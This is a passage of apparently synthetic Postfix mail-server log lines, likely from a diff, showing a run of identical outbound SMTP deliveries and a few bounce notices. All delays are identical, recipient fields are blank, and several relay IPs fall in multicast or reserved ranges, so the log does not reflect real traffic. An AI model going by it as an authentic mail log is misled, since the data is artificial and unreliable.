relay=mx.remote.com[86.90.108.230]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:41 mail-server postfix/smtp[27500]: 4B4322AD3C: to=, relay=mx.remote.com[85.12.49.228]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:41 mail-server postfix/smtp[31387]: 3FE6B116D5: to=, relay=mx.remote.com[158.189.22.35]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:42 mail-server postfix/smtp[46874]: 1F25DE5C12: to=, relay=mx.remote.com[165.120.197.101]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:42 mail-server postfix/smtp[17991]: 52C8C686A9: to=, relay=mx.remote.com[47.222.89.246]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:42 mail-server postfix/bounce[42782]: 9921E032E7: sender non-delivery notification: BFC0A02953 +Jul 02 12:02:45 mail-server postfix/smtp[10967]: 443A6A76C0: to=, relay=mx.remote.com[46.197.18.155]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:47 mail-server postfix/smtp[11260]: A69DA92343: to=, relay=mx.remote.com[166.181.62.141]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:49 mail-server postfix/smtp[21905]: D71AE47290: to=, relay=mx.remote.com[214.38.234.51]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:50 mail-server postfix/smtp[31678]: EA898A7470: to=, relay=mx.remote.com[112.186.76.240]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:51 mail-server postfix/smtp[17946]: 9D6DA1C836: to=, relay=mx.remote.com[138.165.195.124]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:52 mail-server postfix/smtp[11073]: 1A8EB37C16: to=, relay=mx.remote.com[31.201.123.17]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:53 mail-server postfix/smtp[20881]: A3DC8551F6: to=, relay=mx.remote.com[189.80.240.66]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:53 mail-server postfix/smtp[12363]: 4925394807: to=, relay=mx.remote.com[231.229.63.95]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:53 mail-server postfix/smtp[19997]: 7A0B387303: to=, relay=mx.remote.com[80.149.207.27]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:56 mail-server postfix/smtp[10879]: 19B0853E71: to=, relay=mx.remote.com[206.89.92.18]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:57 mail-server postfix/smtp[22987]: 4DA127D445: to=, relay=mx.remote.com[34.102.242.113]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:58 mail-server postfix/smtp[40398]: 857461C826: to=, relay=mx.remote.com[143.181.118.233]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:58 mail-server postfix/smtp[14101]: 0E5362468F: to=, relay=mx.remote.com[179.190.149.184]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:58 mail-server postfix/smtp[49456]: DFE4E24B59: to=, relay=mx.remote.com[207.231.227.62]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:58 mail-server postfix/smtp[26264]: 6CA8B7528C: to=, relay=mx.remote.com[117.77.213.74]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:59 mail-server postfix/smtp[31278]: A0F848A997: to=, relay=mx.remote.com[134.210.218.74]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:01 mail-server postfix/smtp[31957]: 0045FB4C7C: to=, relay=mx.remote.com[201.57.149.132]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:01 mail-server postfix/smtp[29773]: BBEB83898F: to=, relay=mx.remote.com[41.60.149.104]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:02 mail-server postfix/smtp[36934]: A10BAE8BDF: to=, relay=mx.remote.com[251.184.9.84]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:03 mail-server postfix/smtp[49562]: 2F51F935D5: to=, relay=mx.remote.com[12.61.1.83]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:04 mail-server postfix/smtp[30499]: 196F6FD1E6: to=, relay=mx.remote.com[134.248.14.14]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:04 mail-server postfix/smtp[18971]: 3CE9C7F311: to=, relay=mx.remote.com[41.189.70.230]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:04 mail-server postfix/bounce[10799]: 11B6D78FBE: sender non-delivery notification: 195DE45AD7 +Jul 02 12:03:05 mail-server postfix/smtp[33503]: FF38EE8ECF: to=, relay=mx.remote.com[23.23.171.55]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:05 mail-server postfix/bounce[42011]: 4FB5295354: sender non-delivery notification: F4F6BF8CF1 +Jul 02 12:03:06 mail-server postfix/smtp[47355]: 7FAA4D6BAC: to=, relay=mx.remote.com[107.76.158.88]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:08 mail-server postfix/smtp[15944]: 596DD2C738: to=, relay=mx.remote.com[182.59.151.69]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:08 mail-server postfix/smtp[29288]: C873F5CECB: to=, relay=mx.remote.com[236.27.44.240]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:08 mail-server postfix/smtp[41777]: 7337E06A11: to=, relay=mx.remote.com[137.220.184.211]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:10 mail-server postfix/smtp[19624]: 08DB4D92B6: to=, relay=mx.remote.com[48.133.48.253]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:12 mail-server postfix/smtp[32118]: 1C58542081: to=, relay=mx.remote.com[5.113.249.65]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:12 mail-server postfix/smtp[43473]: 6EBFC51435: to=, relay=mx.remote.com[63.195.97.40]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:13 mail-server postfix/smtp[26936]: A6A4943529: to=, relay=mx.remote.com[162.192.152.102]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:15 mail-server postfix/smtp[13450]: 3D54D764DC: to=, relay=mx.remote.com[19.218.227.118]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:16 mail-server postfix/smtp[30759]: 68681F129E: to=, relay=mx.remote.com[137.158.73.57]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:17 mail-server postfix/smtp[34541]: FAAA925762: to=, relay=mx.remote.com[84.249.161.80]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:17 mail-server postfix/smtp[20516]: 5BE35A8864: to=, relay=mx.remote.com[53.94.14.75]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:19 mail-server postfix/smtp[10438]: 8F8875F266: to=, relay=mx.remote.com[206.200.148.73]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:20 mail-server postfix/smtp[40355]: FE6F2E6BF4: to=, relay=mx.remote.com[55.11.116.135]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:20 mail-server postfix/smtp[37759]: 4A2B11E153: to=, relay=mx.remote.com[61.171.104.118]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:20 mail-server postfix/smtp[14451]: F797B52A30: to=, relay=mx.remote.com[130.155.40.76]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:21 mail-server postfix/smtp[14518]: 5859B8D815: to=, relay=mx.remote.com[209.30.59.249]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:22 mail-server postfix/smtp[33141]: 6718ED9227: to=, relay=mx.remote.com[233.153.88.135]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:24 mail-server postfix/smtp[40171]: 53F5CAC83B: to=, relay=mx.remote.com[136.164.129.70]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:24 mail-server postfix/smtp[16872]: 0DEDEB9447: to=, relay=mx.remote.com[182.50.53.53]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:25 mail-server postfix/smtp[11240]: D99F4C8AB3: to=, relay=mx.remote.com[53.41.63.170]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:25 mail-server postfix/smtp[17555]: 4550C6B37C: to=, relay=mx.remote.com[53.191.57.247]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:27 mail-server postfix/smtp[37379]: 16D1B9AE84: to=, relay=mx.remote.com[228.157.100.47]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:28 mail-server postfix/smtp[25046]: 33727D3F65: to=, relay=mx.remote.com[16.160.83.142]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:28 mail-server postfix/smtp[45296]: EA0171A91D: to=, relay=mx.remote.com[31.3.93.164]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:31 mail-server postfix/smtp[28015]: AD06E8FF54: to=, relay=mx.remote.com[21.96.109.64]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:32 mail-server postfix/smtp[31541]: A8060A4891: to=, relay=mx.remote.com[7.72.30.20]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:32 mail-server postfix/smtp[32566]: C91AADAE25: to=, relay=mx.remote.com[136.49.52.155]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:33 mail-server postfix/smtp[14125]: D0EF4B4ACC: to=, relay=mx.remote.com[92.135.90.208]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:33 mail-server postfix/smtp[25153]: 95D70588C3: to=, relay=mx.remote.com[157.236.121.235]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:33 mail-server postfix/smtp[24047]: 7F21A59741: to=, relay=mx.remote.com[106.220.161.191]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:33 mail-server postfix/smtp[29760]: 0952184557: to=, relay=mx.remote.com[83.69.245.173]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:35 mail-server postfix/smtp[43117]: 098FAA45D2: to=, relay=mx.remote.com[77.32.3.178]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:36 mail-server postfix/smtp[12457]: 3D5204DA97: to=, relay=mx.remote.com[226.201.197.66]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:39 mail-server postfix/smtp[12772]: 28DB40F656: to=, relay=mx.remote.com[156.104.221.197]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:39 mail-server postfix/smtp[19260]: 523F89B99C: to=, relay=mx.remote.com[156.228.48.210]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:39 mail-server postfix/smtp[42744]: 8FB4A0D454: to=, relay=mx.remote.com[3.79.169.147]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:40 mail-server postfix/smtp[43772]: E1DEAA6068: to=, relay=mx.remote.com[233.254.25.156]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:41 mail-server postfix/smtp[42497]: 02F9CFCD8F: to=, relay=mx.remote.com[4.91.205.90]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:42 mail-server postfix/smtp[28422]: 517D52AC79: to=, relay=mx.remote.com[211.117.37.4]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:45 mail-server postfix/smtp[14262]: CECB0E0E50: to=, relay=mx.remote.com[180.178.126.235]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:45 mail-server postfix/smtp[16758]: BC7564AA76: to=, relay=mx.remote.com[109.118.247.98]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:47 mail-server postfix/smtp[33059]: 8CD3F5D86C: to=, relay=mx.remote.com[150.104.177.37]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:47 mail-server postfix/smtp[34916]: 215CB9B118: to=, relay=mx.remote.com[124.182.29.54]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:50 mail-server postfix/smtp[44224]: A8EA6D1B59: to=, relay=mx.remote.com[119.120.80.55]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:50 mail-server postfix/smtp[42741]: 535A596EA1: to=, relay=mx.remote.com[153.145.51.116]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:51 mail-server postfix/smtp[49474]: 3E86C2A4DA: to=, relay=mx.remote.com[180.199.70.157]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:53 mail-server postfix/smtp[49063]: 48DDB97416: to=, relay=mx.remote.com[226.16.8.241]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:53 mail-server postfix/smtp[20960]: 3B5C680CB8: to=, relay=mx.remote.com[8.180.65.48]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:54 mail-server postfix/smtp[43871]: 73FEF44A17: to=, relay=mx.remote.com[193.37.78.77]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:56 mail-server postfix/smtp[40918]: DDDE9E6A83: to=, relay=mx.remote.com[46.28.105.77]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:56 mail-server postfix/smtp[30829]: 052AA760E1: to=, relay=mx.remote.com[14.148.114.21]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:57 mail-server postfix/smtp[23346]: 4A8BAC40D1: to=, relay=mx.remote.com[164.249.48.229]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:03:59 mail-server postfix/smtp[16374]: CE91E6FC06: to=, relay=mx.remote.com[62.142.109.58]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:00 mail-server postfix/smtp[34797]: 2E3E5BA93A: to=, relay=mx.remote.com[160.13.94.26]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:00 mail-server postfix/smtp[23343]: 9518F31138: to=, relay=mx.remote.com[140.1.218.96]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:02 mail-server postfix/smtp[10637]: 857BD419CA: to=, relay=mx.remote.com[169.94.242.113]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:03 mail-server postfix/smtp[46229]: F8463165C2: to=, relay=mx.remote.com[155.116.169.250]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:03 mail-server postfix/smtp[20877]: 135975DA38: to=, relay=mx.remote.com[42.177.225.92]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:03 mail-server postfix/smtp[30318]: 3AD7AD2D64: to=, relay=mx.remote.com[51.115.205.228]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:04 mail-server postfix/smtp[39700]: D89A146E6C: to=, relay=mx.remote.com[249.150.173.139]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:05 mail-server postfix/smtp[35633]: 896A7197FC: to=, relay=mx.remote.com[190.154.118.209]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:05 mail-server postfix/smtp[29963]: C2DAF340A7: to=, relay=mx.remote.com[150.146.160.142]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:06 mail-server postfix/smtp[41201]: 44D18DBE3F: to=, relay=mx.remote.com[183.104.23.100]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:06 mail-server postfix/smtp[34559]: EEC84C0CE1: to=, relay=mx.remote.com[30.35.87.189]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:06 mail-server postfix/smtp[44855]: EB8DE14BDC: to=, relay=mx.remote.com[35.249.151.79]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:06 mail-server postfix/smtp[19667]: ACDA4F1C95: to=, relay=mx.remote.com[51.179.196.253]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:07 mail-server postfix/smtp[47839]: AD7E2F5A7F: to=, relay=mx.remote.com[127.213.103.178]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:10 mail-server postfix/smtp[24974]: D328721325: to=, relay=mx.remote.com[79.61.59.11]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:11 mail-server postfix/smtp[33618]: 65254BE4BF: to=, relay=mx.remote.com[163.100.98.184]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:12 mail-server postfix/smtp[10698]: 7DC5086420: to=, relay=mx.remote.com[78.14.15.74]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:12 mail-server postfix/bounce[28703]: 8247C8CD74: sender non-delivery notification: 6009FB8A8C +Jul 02 12:04:13 mail-server postfix/smtp[41050]: A02A43D0F5: to=, relay=mx.remote.com[41.58.146.124]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:13 mail-server postfix/smtp[47852]: D7BB310B7D: to=, relay=mx.remote.com[91.144.118.193]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:14 mail-server postfix/smtp[19575]: F44974F261: to=, relay=mx.remote.com[174.73.217.240]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:14 mail-server postfix/smtp[29848]: 1A9F4679D8: to=, relay=mx.remote.com[62.37.143.202]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:16 mail-server postfix/smtp[18130]: 719E5DFE91: to=, relay=mx.remote.com[89.203.50.214]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:17 mail-server postfix/smtp[24101]: 02890A37CE: to=, relay=mx.remote.com[120.53.89.25]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:17 mail-server postfix/smtp[45289]: 2F0BE3DE0B: to=, relay=mx.remote.com[220.121.54.129]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:17 mail-server postfix/smtp[32103]: 2718864C95: to=, relay=mx.remote.com[246.204.39.236]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:18 mail-server postfix/smtp[22192]: BB35C72B9B: to=, relay=mx.remote.com[137.13.55.28]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:21 mail-server postfix/smtp[40537]: D45D60D411: to=, relay=mx.remote.com[25.8.152.115]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:21 mail-server postfix/smtp[45279]: 8A0176D75F: to=, relay=mx.remote.com[224.204.188.247]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:21 mail-server postfix/smtp[40742]: A4DE59FC15: to=, relay=mx.remote.com[83.253.132.185]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:23 mail-server postfix/smtp[46075]: BFEECF9445: to=, relay=mx.remote.com[76.6.242.113]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:25 mail-server postfix/smtp[18058]: 441A4CEAEB: to=, relay=mx.remote.com[101.33.128.122]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:26 mail-server postfix/smtp[43576]: 8E29588C0A: to=, relay=mx.remote.com[237.177.103.230]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:26 mail-server postfix/smtp[30350]: F7C403C71D: to=, relay=mx.remote.com[12.112.138.139]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:27 mail-server postfix/smtp[35733]: F8050F14F4: to=, relay=mx.remote.com[199.158.86.65]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:29 mail-server postfix/smtp[29907]: 6246D4A2F9: to=, relay=mx.remote.com[249.82.176.77]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:30 mail-server postfix/smtp[29052]: 1A097C94E9: to=, relay=mx.remote.com[203.240.144.232]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:30 mail-server postfix/smtp[41607]: 9A366A9AF6: to=, relay=mx.remote.com[161.232.20.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:32 mail-server postfix/smtp[32240]: E7A0C64F3F: to=, relay=mx.remote.com[174.56.180.254]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:34 mail-server postfix/smtp[20965]: BEC4652C9F: to=, relay=mx.remote.com[193.237.82.74]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:37 mail-server postfix/smtp[41066]: 3B0121CFD3: to=, relay=mx.remote.com[9.61.114.190]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:37 mail-server postfix/smtp[33196]: 610C6B7DF1: to=, relay=mx.remote.com[222.55.77.144]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:37 mail-server postfix/smtp[25466]: 0407B6C633: to=, relay=mx.remote.com[239.109.162.229]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:38 mail-server postfix/smtp[17397]: 631C04F6F0: to=, relay=mx.remote.com[230.147.64.108]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:39 mail-server postfix/smtp[34739]: 42CB81418D: to=, relay=mx.remote.com[5.128.240.130]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:41 mail-server postfix/smtp[49379]: DE8A36BCBC: to=, relay=mx.remote.com[151.189.169.217]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:41 mail-server postfix/smtp[28471]: 27A7A8390C: to=, relay=mx.remote.com[157.9.233.80]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:42 mail-server postfix/smtp[21411]: AB17658477: to=, relay=mx.remote.com[210.26.134.156]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:43 mail-server postfix/smtp[38915]: 75F793B687: to=, relay=mx.remote.com[38.36.53.144]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:43 mail-server postfix/smtp[21021]: 2C4C3571CA: to=, relay=mx.remote.com[231.33.53.223]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:44 mail-server postfix/smtp[49836]: 2568078E31: to=, relay=mx.remote.com[88.155.122.196]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:45 mail-server postfix/smtp[46115]: DBEB8420F7: to=, relay=mx.remote.com[214.174.143.4]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:04:48 mail-server postfix/smtp[17576]: FCA2F54ADE: to=, relay=mx.remote.com[215.192.57.237]:25, delay=1.5, 